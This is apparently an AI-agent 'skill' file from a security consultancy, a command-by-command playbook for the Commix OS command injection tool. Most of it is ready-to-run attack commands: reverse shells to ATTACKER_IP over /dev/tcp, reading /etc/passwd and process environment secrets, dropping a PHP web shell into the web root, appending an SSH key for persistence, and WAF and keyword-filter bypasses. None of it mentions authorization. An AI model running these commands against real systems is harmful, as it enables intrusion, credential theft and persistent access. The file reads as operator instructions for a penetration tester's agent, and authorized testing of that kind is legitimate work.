| name | commix |
| description | Operate Commix — an automated OS command injection exploitation tool that detects and exploits command injection vulnerabilities in web parameters, cookies, and headers. Use when testing for OS command injection in GET/POST parameters, cookies, HTTP headers, or when manual injection is confirmed and automation is needed for shell access. Covers installation, injection techniques (results-based, time-based, file-based), shell access, tamper scripts, authentication, proxy, and command injection testing methodology.
|
| metadata | {"author":"redhoundinfosec","version":"1.0","repo":"https://github.com/commixproject/commix","language":"Python"} |
commix Agent Skill
When to Use This Skill
Use this skill when:
- A web parameter, cookie, or HTTP header appears to execute OS commands (command injection)
- Manual testing confirms a command injection vector and automation is needed
- Needing to escalate from detected injection to an OS shell or reverse shell
- Testing API endpoints or custom application parameters for command injection
- Requiring WAF bypass via tamper scripts for command injection payloads
- Performing time-based blind command injection where output is not returned
What Commix Does
Commix (commixproject/commix, ~4.8k GitHub stars) is a Python-based tool that automates the
detection and exploitation of OS command injection vulnerabilities in web applications. It
supports GET and POST parameters, cookies, HTTP headers (User-Agent, Referer, X-Forwarded-For,
custom), and file upload fields. Commix implements multiple injection techniques (results-based,
time-based blind, file-based out-of-band) and can escalate successful injections to interactive
OS shells, reverse shells, or execute arbitrary commands.
Installation
pip
pip3 install commix
commix --help
From Source (recommended — most up to date)
git clone https://github.com/commixproject/commix.git
cd commix
python3 commix.py --help
apt (Kali)
sudo apt update && sudo apt install -y commix
Docker
docker pull commixproject/commix
docker run --rm commixproject/commix --help
docker run --rm commixproject/commix -u "http://target.com/page?id=1"
Core Concepts
Injection Techniques
| Technique | Code | Description |
|---|
| Results-based Classic | --technique=C | Payload output appended to response |
| Results-based Dynamic Code Eval | --technique=D | Uses eval() to execute OS commands |
| Time-based | --technique=T | Blind — infers result from response delay |
| File-based | --technique=F | Writes output to file, reads via HTTP |
Commix auto-detects which technique works; specify with --technique to force one.
Injection Contexts
Commix tests whether the injection point is inside:
- A command string:
ping -c 1 PAYLOAD → inject with ;id
- A string that's passed to a shell function:
system("PAYLOAD") → direct injection
- An eval context:
eval("PAYLOAD") → code injection
Payload Delimiters
; Unix command separator
&& AND chaining
|| OR chaining
`cmd` Backtick subshell
$(cmd) $() subshell
%0a URL-encoded newline (shell newline = command separator)
| Pipe
CLI Reference
Basic Scanning
python3 commix.py -u "http://target.com/ping?host=127.0.0.1"
python3 commix.py -u "http://target.com/page?host=127.0.0.1&debug=0"
python3 commix.py -u "http://target.com/page?host=127.0.0.1" -p host
POST Data Injection
python3 commix.py -u "http://target.com/ping" \
--data "host=127.0.0.1&submit=submit"
python3 commix.py -u "http://target.com/api/exec" \
--data '{"command":"ping","target":"127.0.0.1"}' \
-H "Content-Type: application/json"
python3 commix.py -u "http://target.com/xml-handler" \
--data "<request><host>127.0.0.1</host></request>" \
-H "Content-Type: application/xml"
Cookie Injection
python3 commix.py -u "http://target.com/dashboard" \
--cookie "user=admin; debug=false" \
-p debug
python3 commix.py -u "http://target.com/dashboard" \
--cookie "role=user; pref=en"
Header Injection
python3 commix.py -u "http://target.com/log" \
--headers "User-Agent: Mozilla/5.0*"
python3 commix.py -u "http://target.com/log" \
--headers "Referer: http://evil.com*"
python3 commix.py -u "http://target.com/page" \
--headers "X-Forwarded-For: 127.0.0.1*"
python3 commix.py -u "http://target.com/api" \
--headers "X-API-Version: 1.0*"
Injection Technique Selection
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--technique=C
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--technique=T
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--technique=F \
--web-root /var/www/html
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--technique=CDF
OS Shell and Command Execution
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--os-shell
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--os-cmd "id"
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--os-cmd "id; whoami; cat /etc/passwd"
Reverse Shell
nc -lvnp 4444
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--os-shell
commix$ bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--os-cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Authentication
python3 commix.py -u "http://target.com/api?host=test" \
--auth-cred "admin:password" \
--auth-type basic
python3 commix.py -u "http://target.com/api?host=test" \
--auth-cred "admin:password" \
--auth-type digest
python3 commix.py -u "http://target.com/app?host=test" \
--cookie "PHPSESSID=authenticated_session_id"
Proxy Support
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--proxy http://127.0.0.1:8080
python3 commix.py -u "http://192.168.1.10/ping?host=127.0.0.1" \
--proxy socks5://127.0.0.1:1080
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" \
--proxy http://127.0.0.1:8080 \
--ignore-proxy-error
Tamper Scripts
Tamper scripts modify payloads to bypass WAFs and input filters:
ls $(python3 -c "import commix; print(commix.__path__[0])")/tamper/ 2>/dev/null
ls commix/src/tamper/
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--tamper="space2ifs"
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--tamper="backslashes"
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--tamper="hexencode"
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--tamper="base64encode"
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--tamper="space2ifs,hexencode"
Batch Mode (Non-Interactive)
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--batch
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--batch --os-shell
Time-Based Blind Options
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--technique=T --time-sec=5
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--timeout 30
File Operations via Injection
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--file-read "/etc/passwd"
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--file-write /tmp/shell.php \
--file-dest /var/www/html/shell.php
Output and Logging
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--output-dir /tmp/commix_results
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" -v
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" -vv
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--traffic-file /tmp/commix_traffic.log
Command Injection Testing Methodology
Phase 1: Identify Injection Points
Look for parameters that likely invoke OS commands:
- IP address fields:
ping, traceroute, nslookup
- File path fields:
file, path, dir, log
- Domain/hostname fields:
host, server, target
- Filename upload fields with processing
- Any field processed by
system(), exec(), popen(), shell_exec()
curl "http://target.com/ping?host=127.0.0.1;sleep+5"
Phase 2: Manual Confirmation
time curl -s "http://target.com/ping?host=127.0.0.1;sleep+5" > /dev/null
curl -s "http://target.com/ping?host=127.0.0.1;id"
curl -s -X POST http://target.com/ping \
--data "host=127.0.0.1;id"
Phase 3: Automate with Commix
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" --batch
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--batch --os-shell
commix$ id
commix$ cat /etc/passwd
commix$ which python3 perl ruby php
commix$ find / -perm -4000 -type f 2>/dev/null
commix$ cat /proc/1/environ | tr '\0' '\n'
Phase 4: Privilege Escalation Prep
commix$ python3 -c 'import pty;pty.spawn("/bin/bash")'
commix$ bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
commix$ mkdir -p /home/www-data/.ssh
commix$ echo 'SSH_PUBLIC_KEY' >> /home/www-data/.ssh/authorized_keys
Common Bypasses
Space Filter Bypass
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--tamper="space2ifs"
Semicolon Filter Bypass
curl "http://target.com/ping?host=127.0.0.1%0aid"
curl "http://target.com/ping?host=127.0.0.1&&id"
curl "http://target.com/ping?host=doesntexist||id"
Keyword Filter Bypass (cat, id, etc.)
c${undeclared_var}at /etc/passwd
echo "cat /etc/passwd" | base64
Integration with Other Tools
| Stage | Tool | Purpose |
|---|
| Injection discovery | Arjun | Find hidden parameters that may be injectable |
| Traffic capture | Burp Suite | --proxy to capture commix payloads |
| Manual confirmation | curl | Verify injection before automating |
| Post-exploitation | Metasploit | Use commix shell to pivot to meterpreter |
| Port forwarding | chisel/ligolo-ng | Forward reverse shell through proxy |
Troubleshooting
"No injection point found" on known-vulnerable parameter
python3 commix.py -u "http://target.com/ping?host=127.0.0.1&v=1" -p host
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" --technique=T
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--technique=T --time-sec=8 --timeout 30
WAF blocking payloads
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--tamper="space2ifs,backslashes"
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--proxy http://127.0.0.1:8080
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--delay 2
SSL certificate errors
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" \
--ignore-ssl-errors
os-shell not responding / hanging
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--os-cmd "id && hostname && uname -a"
python3 commix.py -u "http://target.com/ping?host=127.0.0.1" \
--os-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs.
20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.
redhound.us | GitHub | Book a consultation